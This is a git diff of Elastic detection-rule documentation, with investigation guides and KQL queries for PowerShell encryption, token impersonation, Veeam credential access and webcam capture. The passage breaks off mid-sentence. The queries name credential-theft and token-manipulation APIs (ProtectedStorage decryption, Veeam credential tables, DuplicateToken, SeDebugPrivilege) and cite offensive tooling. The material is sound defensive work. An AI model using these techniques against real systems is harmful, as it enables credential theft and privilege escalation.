PowerShell Script with Encryption/Decryption Capabilities* + + +This rule identifies PowerShell script block content that implements cryptographic encryption or decryption using .NET APIs. Matching script blocks commonly include symmetric cryptography classes (for example, AES/Rijndael or the SymmetricAlgorithm base type), key derivation helpers (for example, PasswordDeriveBytes or Rfc2898DeriveBytes), explicit cipher configuration (CipherMode and PaddingMode), and calls that create an encryptor or decryptor. + +This behavior can be legitimate (protecting configuration values, packaging content, or controlled encryption for business workflows). It can also indicate malicious activity such as encrypting local data for impact or decrypting staged content to reduce static visibility before follow-on execution. Prioritize determining what data is being transformed, where outputs are written, and whether the user/host/script origin aligns with expected activity. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Review `powershell.file.script_block_text` to understand the cryptographic intent and data flow: + - Identify whether the logic is primarily encrypting, decrypting, or doing both. + - Note which cryptographic primitives are used (for example, AES/Rijndael, hashing helpers, and key derivation routines) and how keys/IVs are produced (hard-coded values, derived from passwords, generated randomly, or passed in). + - Identify the transformed data source and destination: + - File-oriented operations: look for path construction, directory traversal patterns, repeated read/write loops, file extension changes, renames, or deletion of originals. + - In-memory operations: look for large embedded blobs, byte arrays, stream usage, or logic that converts decrypted content into executable form or writes it to a new artifact. + - Extract and preserve any embedded secrets or deterministic derivation parameters (password strings, salts, iteration counts, static IVs, or key material), as these can be critical for impact assessment and recovery. + +- Determine whether the alert contains the full implementation or only a fragment: + - Use `powershell.file.script_block_length` to gauge whether this is a complete routine (larger blocks) versus a wrapper or function invocation (smaller blocks). + - If the script appears incomplete, pivot on `powershell.file.script_block_id` and use `powershell.sequence` / `powershell.total` to retrieve and order all fragments before concluding intent. + +- Validate execution context and provenance: + - Review `user.name`, `user.domain`, and `user.id` to determine whether this account typically performs encryption/decryption tasks and whether the account scope matches the host role. + - Review `host.name` and `host.id` to determine asset criticality and whether similar activity is expected on this system (for example, administrative hosts may have more automation than standard endpoints). + - If `file.path` / `file.name` is present, evaluate whether the script origin is expected: + - Compare the path and name to approved automation locations and naming conventions. + - Treat unexpected paths, user-writable directories, or newly observed script locations as higher risk. + +- Scope the activity using alert fields: + - On the same host, search for additional script blocks tied to the same `powershell.file.script_block_id` to find related functions or setup code not visible in the initial alert fragment. + - Search across hosts for repeating patterns in `powershell.file.script_block_text` and for the same `file.name` to determine whether this is a widely deployed administrative script or isolated activity. + - Pivot on `user.id` to identify whether similar script blocks appear on multiple hosts, which may indicate coordinated activity. + +- Correlate with adjacent telemetry around `@timestamp` for the same `host.id` and `user.id` (if available in your environment): + - Process execution telemetry to identify the PowerShell host process and what initiated it, helping distinguish interactive use from automation or remotely initiated activity. + - File activity telemetry to identify bursts of file modifications/creations consistent with bulk encryption/decryption and to determine which directories and file types were affected. + - Network telemetry to identify connections that could support retrieval of encrypted content, exchange of key material, or staging/downloading of additional payloads. + - Authentication telemetry to identify unusual logons or session types for the user preceding execution. + +- Determine disposition and urgency: + - Treat as higher severity if the script indicates broad file processing, writes many outputs, modifies user data locations, or includes embedded key material/blobs associated with staged content. + - Treat as lower severity if the script is clearly tied to approved operations, originates from a known `file.path`, is executed by expected accounts, and shows consistent recurrence patterns with expected scope. + + +*False positive analysis* + + +- Legitimate PowerShell automation may implement encryption/decryption for secure configuration handling, packaging, data protection, or interoperability with other systems. +- Benign activity is more likely to have consistent `file.path` / `file.name` values, execute under expected administrative accounts, and recur on appropriate hosts with stable script content. +- If the script is determined to be benign, document what data it protects, where it is expected to run, which accounts execute it, and what normal recurrence looks like to reduce future triage time. + + +*Response and remediation* + + +- If the activity is suspicious or malicious: + - Contain the host to prevent further encryption/decryption activity and reduce the risk of spread or data impact. + - Preserve evidence from the alert, including the full `powershell.file.script_block_text` and any reconstructed fragments correlated via `powershell.file.script_block_id`. + - If `file.path` is present, collect the referenced script from disk and preserve it for forensic review and scoping. + - Identify impacted systems and data: + - If file-impact is suspected, prioritize backup protection, incident response escalation, and recovery planning. + - If payload staging is suspected, prioritize identifying the decrypted output or follow-on execution artifacts. + - Scope and hunt across the environment for related activity using `user.id`, `host.id`, recurring `file.name`, and distinctive fragments of `powershell.file.script_block_text`. + - Remediate the associated account and access path: validate legitimacy, reset credentials if compromise is suspected, and apply least-privilege controls where appropriate. + - Remove or block the identified script and any related artifacts discovered during analysis, and monitor for recurrence. + +- If the activity is confirmed benign: + - Record the expected `file.path` / `file.name`, the responsible `user.id`, and normal execution patterns to support consistent future triage and tuning decisions. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + ( + "Cryptography.AESManaged" or + "Cryptography.RijndaelManaged" or + "Cryptography.SHA1Managed" or + "Cryptography.SHA256Managed" or + "Cryptography.SHA384Managed" or + "Cryptography.SHA512Managed" or + "Cryptography.SymmetricAlgorithm" or + "PasswordDeriveBytes" or + "Rfc2898DeriveBytes" + ) and + ( + CipherMode and PaddingMode + ) and + ( + ".CreateEncryptor" or + ".CreateDecryptor" + ) + ) and + not user.id : "S-1-5-18" and + not ( + file.name : "Bootstrap.Octopus.FunctionAppenderContext.ps1" and + powershell.file.script_block_text : ("function Decrypt-Variables" or "github.com/OctopusDeploy") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Encrypted/Encoded File +** ID: T1027.013 +** Reference URL: https://attack.mitre.org/techniques/T1027/013/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Encrypted for Impact +** ID: T1486 +** Reference URL: https://attack.mitre.org/techniques/T1486/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-token-impersonation-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-token-impersonation-capabilities.asciidoc new file mode 100644 index 0000000000..f413596673 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-token-impersonation-capabilities.asciidoc @@ -0,0 +1,236 @@ +[[prebuilt-rule-8-19-34-powershell-script-with-token-impersonation-capabilities]] +=== PowerShell Script with Token Impersonation Capabilities + +Detects PowerShell scripts that references token manipulation and impersonation APIs such as CreateProcessWithTokenW, DuplicateToken/ImpersonateLoggedOnUser, or AdjustTokenPrivileges (SeDebugPrivilege). Attackers abuse token impersonation to elevate privileges and bypass access controls. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/decoder-it/psgetsystem +* https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/Get-System.ps1 +* https://github.com/EmpireProject/Empire/blob/master/data/module_source/privesc/Invoke-MS16032.ps1 +* https://github.com/atc-project/atc-data/blob/master/docs/Logging_Policies/LP_0109_windows_powershell_script_block_log.md + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 120 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating PowerShell Script with Token Impersonation Capabilities* + + +This rule Detects PowerShell scripts that includes token manipulation and impersonation primitives. Such functionality can be used to execute follow-on actions under a different security context, including elevated or alternate user tokens. The primary investigation goals are to (1) reconstruct and understand the script intent, (2) validate whether the activity is authorized, and (3) identify any resulting privileged execution on the host. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Preserve and reconstruct the full script block content: + - Capture `powershell.file.script_block_text` from the alert for analysis and evidence retention. + - If the script is logged in multiple fragments, pivot on `powershell.file.script_block_id` and reassemble in order using `powershell.sequence`. Use `powershell.total` to confirm you have the complete set of fragments. + - Use `powershell.file.script_block_length` to help gauge completeness and identify unusually large blocks that may contain reusable libraries or modules. + +- Identify which token technique is present and what outcome the script is attempting: + - Review the reconstructed content for indicators of: + - Token duplication and impersonation (for example: `DuplicateToken`, `DuplicateTokenEx`, `SetThreadToken`, `ImpersonateLoggedOnUser`, `NtImpersonateThread`). + - Named pipe impersonation (`ImpersonateNamedPipeClient`). + - Privilege enablement (`AdjustTokenPrivileges` with `SeDebugPrivilege`). + - Token-based process creation (for example: `CreateProcessWithTokenW`, `CreateProcessAsUserW`, `CreateProcessAsUserA`) and related extended startup attributes (`STARTUPINFOEX`, `UpdateProcThreadAttribute`). + - Higher-level wrappers commonly associated with token manipulation (for example: `Invoke-TokenManipulation`). + - Determine whether the script only defines helper functions/types versus actively invoking them. Content that both defines and calls token APIs within the same execution window is higher risk. + - Note any embedded targeting details in the script content (for example: intended user context, target process identifiers, or follow-on payload references), and preserve them for scoping and hunting. + +- Validate execution context and expectedness: + - Use `host.name` and `host.id` to understand where the activity occurred and whether the system role typically requires privileged PowerShell usage. + - Use `user.name`, `user.domain`, and `user.id` to identify the executing account and determine whether this user is expected to run scripts that manipulate access tokens on this host. + - Prioritize alerts involving unexpected users, unusual hosts (for example, servers with limited admin access), or repeated/recurrent script blocks indicating persistence or automation. + +- Assess script provenance when file context is present: + - If `file.path` is populated, determine whether the script came from a known module or an on-disk script file, and whether the location and naming are consistent with approved tooling. + - If only `file.directory` and `file.name` are populated, use them to pivot to related script blocks and identify other executions from the same origin. + - If the origin appears unfamiliar or user-writable, treat the artifact as suspicious and prioritize collecting the referenced file (and any adjacent module content) for deeper analysis. + +- Correlate with surrounding host activity to determine impact: + - Pivot on `host.name` and the alert `@timestamp` into adjacent telemetry to identify the PowerShell host process and its initiating parent/source (interactive session, remote management, scheduled execution, or another process). + - Look for follow-on activity shortly after the alert time that would indicate successful impersonation or privilege escalation, such as: + - New process execution under a different user context than `user.name`. + - Privileged actions that require elevated rights (for example, service/task changes, registry modifications, or access to protected resources). + - If multiple script blocks occur close together for the same `user.id` and `host.id`, review them as a single activity chain to understand staging, execution, and any post-escalation behavior. + +- Scope and hunt for related activity: + - Search for additional occurrences of distinctive substrings from `powershell.file.script_block_text` (function names, API names, unique strings) across other users and hosts to identify reuse. + - Review whether the same `user.id` is associated with similar script blocks on other `host.id` values, which can indicate broad automation or a compromised account used across systems. + - If `file.path` is present, check for the same path and file name across the environment, and identify unexpected hosts where the artifact appears. + + +*False positive analysis* + + +- Legitimate administrative automation may use token impersonation to run tasks under alternate credentials, perform controlled privilege transitions, or integrate with management workflows. +- Development and troubleshooting scripts may contain token API references as reusable helpers without being used for malicious outcomes. + +To reduce false positives, focus on provenance and behavior: scripts from known, approved sources and executed by expected administrative identities on expected hosts are more likely benign, while ad-hoc or newly introduced scripts, unfamiliar file origins, and follow-on privileged execution increase concern. + + +*Response and remediation* + + +- If the activity is unauthorized or suspicious: + - Contain the host to prevent further privileged execution and limit lateral movement according to your incident response procedures. + - Preserve evidence: the reconstructed script block content, associated `powershell.file.script_block_id` fragments, and any referenced on-disk artifacts from `file.path` (or `file.directory`/`file.name`). + - Investigate and remediate outcomes of token impersonation, including processes started under unexpected security contexts and any privileged system changes occurring after the alert time. + +- Reduce attacker access and recurrence: + - Review the executing account identified in `user.id`; reset credentials and invalidate active sessions as appropriate. + - Review privileged access assignments for the involved accounts and hosts, and remove unauthorized privilege grants where identified. + - If the script enabled sensitive privileges (for example, `SeDebugPrivilege`), assess for additional post-exploitation activity that could leverage enhanced access to protected processes and resources. + +- Eradicate and recover: + - Remove unauthorized scripts/modules and any secondary artifacts or persistence mechanisms discovered during investigation. + - Monitor for repeat executions by hunting for the same token manipulation indicators observed in `powershell.file.script_block_text` across the environment. + - Ensure PowerShell script block logging is enabled and retained on systems where PowerShell is permitted so future activity can be reconstructed and scoped effectively. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text:( + "Invoke-TokenManipulation" or + "ImpersonateNamedPipeClient" or + "NtImpersonateThread" or + ( + "STARTUPINFOEX" and + "UpdateProcThreadAttribute" + ) or + ( + "AdjustTokenPrivileges" and + "SeDebugPrivilege" + ) or + ( + ("DuplicateToken" or + "DuplicateTokenEx") and + ("SetThreadToken" or + "ImpersonateLoggedOnUser" or + "CreateProcessWithTokenW" or + "CreatePRocessAsUserW" or + "CreateProcessAsUserA") + ) + ) and + not ( + user.id:("S-1-5-18" or "S-1-5-19" or "S-1-5-20") and + file.directory: "C:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads" + ) and + not powershell.file.script_block_text : ( + "sentinelbreakpoints" and "Set-PSBreakpoint" and "PowerSploitIndicators" + ) and + not ( + powershell.file.script_block_text : "New-HPPrivateToastNotificationLogo" and + file.path : "C:\Program Files\HPConnect\hp-cmsl-wl\modules\HP.Notifications\HP.Notifications.psm1" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Access Token Manipulation +** ID: T1134 +** Reference URL: https://attack.mitre.org/techniques/T1134/ +* Sub-technique: +** Name: Token Impersonation/Theft +** ID: T1134.001 +** Reference URL: https://attack.mitre.org/techniques/T1134/001/ +* Sub-technique: +** Name: Create Process with Token +** ID: T1134.002 +** Reference URL: https://attack.mitre.org/techniques/T1134/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Technique: +** Name: Native API +** ID: T1106 +** Reference URL: https://attack.mitre.org/techniques/T1106/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-veeam-credential-access-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-veeam-credential-access-capabilities.asciidoc new file mode 100644 index 0000000000..4428a028a5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-veeam-credential-access-capabilities.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-34-powershell-script-with-veeam-credential-access-capabilities]] +=== PowerShell Script with Veeam Credential Access Capabilities + +Identifies PowerShell script block content that queries Veeam credential tables or uses ProtectedStorage to decrypt stored secrets. Attackers abuse Veeam credentials to access backup infrastructure and enable ransomware operations. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://forums.veeam.com/veeam-backup-replication-f2/recover-esxi-password-in-veeam-t34630.html +* https://www.crowdstrike.com/blog/anatomy-of-alpha-spider-ransomware/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating PowerShell Script with Veeam Credential Access Capabilities* + + +This alert indicates PowerShell script content consistent with accessing credential material used by Veeam, either by querying the Veeam configuration database credential table or by invoking ProtectedStorage decryption routines. Because backup credentials often provide privileged access to infrastructure and backup systems, treat this activity as high risk until verified as authorized. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Confirm execution context and prioritize: + - Review `host.name` and `host.id` to determine whether the activity occurred on a host expected to administer Veeam or access its configuration database. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the initiating account is expected to perform backup administration, database querying, or credential recovery activities. + - Note the alert `@timestamp` and determine whether it aligns with an approved maintenance window or change activity. + +- Analyze the script block content for intent: + - Review `powershell.file.script_block_text` to understand which capability is present: + - Credential table access patterns (for example, references to `[dbo].[Credentials]` with Veeam-related identifiers). + - ProtectedStorage decryption usage (for example, `ProtectedStorage]::GetLocalString`), which may indicate an attempt to decrypt stored secret material. + - Identify and record any embedded target details present in the script content (database server names, instances, connection parameters, or credential object identifiers) to drive scoping and correlation. + - Look for evidence of data handling that suggests extraction, such as formatting credential data, aggregating results, writing output to disk, or preparing data for transfer. + +- Reconstruct the complete script when split across multiple events: + - Group related events by `powershell.file.script_block_id` and order them by `powershell.sequence` through `powershell.total` to rebuild the full script logic before assessing intent. + - If only one fragment triggered the alert, ensure you retrieve the remaining fragments for the same `powershell.file.script_block_id`, since supporting logic may be contained in non-matching fragments. + - Use `powershell.file.script_block_length` as context; unusually large script blocks can indicate imported tooling or staged functionality rather than routine administration. + +- Determine script origin and assess whether it is expected: + - If `file.path`, `file.directory`, or `file.name` are present, identify the on-disk script source and evaluate whether the location and naming align with approved administrative scripts (versus unexpected user-writable locations). + - If file metadata is absent, consider inline or remote execution and prioritize correlation with other endpoint telemetry to identify how PowerShell was initiated. + +- Scope within PowerShell telemetry: + - Search for additional PowerShell script block activity from the same `host.name` and `user.name` near the alert time to identify surrounding steps (database connectivity setup, credential parsing, decryption routines, or output handling). + - Pivot on `powershell.file.script_block_id` to determine whether the script was executed repeatedly on the same host, and whether the same script appears on other hosts or under different users. + - Search for other occurrences of the same key strings in `powershell.file.script_block_text` across hosts and users to identify broader use, reuse, or distribution. + +- Correlate with adjacent telemetry to validate access and identify follow-on behavior: + - Process execution telemetry: determine whether PowerShell activity was interactive or triggered by another process, and whether the launch chain is expected for the user and host. + - Network telemetry: check for connections from the alerting host to database servers and to backup-related infrastructure around the alert time, and validate whether the destinations are expected. + - Authentication telemetry: look for new or unusual logons involving the initiating user or any accounts referenced in the script content, especially to backup servers, database servers, and other high-value systems. + - Database auditing (if available): review authentication and query activity against the Veeam configuration database around the alert time for evidence of credential table access, repeated extraction attempts, or unusual query volume. + +- Assess potential impact: + - Determine whether the script indicates bulk credential extraction versus targeted credential retrieval. + - Review for subsequent activity that could indicate use of obtained credentials to access or modify backup infrastructure, including actions that reduce recovery options. + + +*False positive analysis* + + +- Approved Veeam administration, troubleshooting, or support workflows may reference the Veeam configuration database schema and credential storage routines; validate authorization, operator identity, and business justification. +- Maintenance activities such as upgrades, migrations, or recoveries may require credential-related queries or decryption logic; confirm timing, scope, and the designated administrators and hosts involved. +- Internal security testing may intentionally validate credential exposure paths; confirm test authorization and ensure results are handled and stored securely. +- Custom automation or reporting that interfaces with the Veeam database can trigger this alert; validate script ownership, change control approval, and that outputs do not expose secrets. + + +*Response and remediation* + + +- If activity is not authorized, treat it as a credential access incident: + - Contain the affected host to prevent additional credential access and potential follow-on actions against backup infrastructure. + - Restrict or disable the initiating account (`user.name` / `user.id`) as appropriate, and review recent activity for signs of compromise. + +- Preserve evidence for incident response: + - Retain the full reconstructed script content using `powershell.file.script_block_id` with `powershell.sequence` and `powershell.total`, along with `host.name`, `host.id`, `user.name`, `user.domain`, and `user.id`. + - If `file.path` is present, preserve the referenced script file and any related artifacts in the same directory for forensic review. + +- Assume Veeam-stored credentials may be compromised: + - Rotate credentials that could be accessed via the Veeam configuration database or decrypted via ProtectedStorage routines, and review where they are used across backup jobs and infrastructure integrations. + - Review privileged access to backup systems and database servers for unauthorized use after the alert time. + +- Reduce future exposure: + - Limit access to the Veeam configuration database to approved administrative hosts and accounts, and review permissions related to credential storage. + - Review Veeam administrative role assignments and access paths to ensure least privilege. + +- Validate recovery readiness: + - Review backup job, repository, and retention configurations for unauthorized changes. + - Confirm the availability of recent backups and perform integrity checks consistent with your recovery procedures. + +- Continue monitoring and hunting: + - Monitor for recurrence of the identified script patterns across hosts and users, and investigate any additional related PowerShell activity discovered during scoping. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and + powershell.file.script_block_text : ( + ( + "[dbo].[Credentials]" and + ("Veeam" or "VeeamBackup") + ) or + "ProtectedStorage]::GetLocalString" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Information Repositories +** ID: T1213 +** Reference URL: https://attack.mitre.org/techniques/T1213/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-webcam-video-capture-capabilities.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-webcam-video-capture-capabilities.asciidoc new file mode 100644 index 0000000000..f9e8e5a04b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-powershell-script-with-webcam-video-capture-capabilities.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-powershell-script-with-webcam-video-capture-capabilities]] +=== PowerShell Script with Webcam Video Capture Capabilities + +Detects PowerShell script block content that references webcam capture APIs or video capture device objects. Attackers use webcam recording to surveil victims or collect sensitive footage for extortion. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/EmpireProject/Empire/blob/master/lib/modules/powershell/collection/WebcamRecorder.py + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Collection +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Windows + +*Version*: 111 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating PowerShell Script with Webcam Video Capture Capabilities* + + +This alert indicates PowerShell script block content on a Windows host that references webcam or video capture components. The matched content may represent device enumeration, frame handling, or capture routines used to record from an attached camera. Because webcam collection has privacy and regulatory impact, prioritize confirming intent, scope, and whether any recordings were produced or transferred. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Analyze the script content in `powershell.file.script_block_text` to understand its functionality: + - Identify references to webcam or video capture APIs, classes, or methods (for example, `VideoCaptureDevice`, `NewFrameEventHandler`, `DirectX.Capture.Filters`, `VideoCompressors`, or calls to `avicap32.dll` functions). + - Look for logic that initializes the camera, configures capture settings, handles frame events, and starts/stops recording. + - Note any output handling, such as saving recordings to disk or preparing data for transmission. +- Reconstruct the complete script when content is split across multiple events: + - Group by `powershell.file.script_block_id` and order by `powershell.sequence` through `powershell.total`. + - Preserve the reconstructed content as an investigation artifact and note `powershell.file.script_block_length` for context (very large blocks may contain additional functionality beyond capture). +- Identify likely collection intent and potential artifacts by inspecting the script content: + - Look for device enumeration and selection logic (for example, listing available devices, choosing a specific camera, or referencing device indices). + - Look for capture start/stop logic, timers, or loops that control duration and frequency. + - Look for references to output locations, file names, or post-processing steps (encoding, compression, or transformation of captured frames). + - Look for indications of onward handling of recordings (archiving, encryption, or transfer). +- Determine script origin and reuse: + - If `file.path` and `file.name` are present, treat the script as file-backed content and assess whether the location in `file.directory` is expected for the user and host. + - Pivot on `file.path` or `file.name` to identify additional script block events that reference the same file, and whether the same content appears on other hosts. +- Establish user and host context: + - Validate whether `user.name` and `user.domain` align with expected webcam usage on `host.name` (for example, support, QA, or multimedia testing roles) and whether the timing is consistent with normal activity. + - Pivot on `host.id` and `user.id` in a narrow time window around `@timestamp` to identify related PowerShell script blocks that suggest staging, repeated attempts, or follow-on activity. +- Correlate with adjacent telemetry in your environment to confirm execution and impact: + - Process telemetry: determine how PowerShell was launched (interactive use vs. launched by another program) and whether the activity was isolated or part of a broader execution chain. + - File telemetry: identify creation or modification of video artifacts and any additional scripts written or fetched around the alert time. + - Network telemetry: identify outbound connections that could support remote tasking or transfer of captured content. + - Authentication telemetry: verify whether the user context was local, remote, or recently authenticated in an unusual way during the alert window. + + +*False positive analysis* + + +- Benign camera diagnostics or hardware validation scripts may reference capture devices, frame handlers, and compressor lists without performing unauthorized recording. +- Development and testing environments may include sample or proof-of-concept code that imports or references capture libraries during troubleshooting or application development. +- Enterprise imaging, kiosk build, or A/V workstation provisioning workflows may temporarily stage scripts that validate camera availability and driver functionality. + + +*Response and remediation* + + +- If activity is unexpected or violates policy, treat as a potential privacy-impacting collection incident: + - Escalate according to your incident response and privacy handling procedures. + - Preserve the full script content (reconstructed if needed) and record key identifiers: `@timestamp`, `host.name`, `host.id`, `user.name`, `user.id`, and any `file.path`/`file.name` present. +- Contain potential ongoing collection: + - Isolate the affected host using standard endpoint response controls. + - Restrict the suspected user account and investigate for additional malicious activity associated with `user.id` and `host.id` during the same period. + - If appropriate for your environment, temporarily restrict access to the camera device on the affected host until legitimacy is confirmed. +- Eradicate and recover: + - Remove or quarantine unauthorized scripts referenced by `file.path`/`file.name` and any related artifacts identified during triage. + - If recordings were created, locate and secure them as evidence, and assess whether any transfer occurred. + - Reset credentials for impacted accounts if compromise is suspected and review for additional access paths. +- Post-incident actions: + - Increase monitoring for similar PowerShell script block content on the scoped hosts and accounts to detect recurrence. + - Review endpoint hardening and least-privilege controls for camera access and script execution where feasible. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule 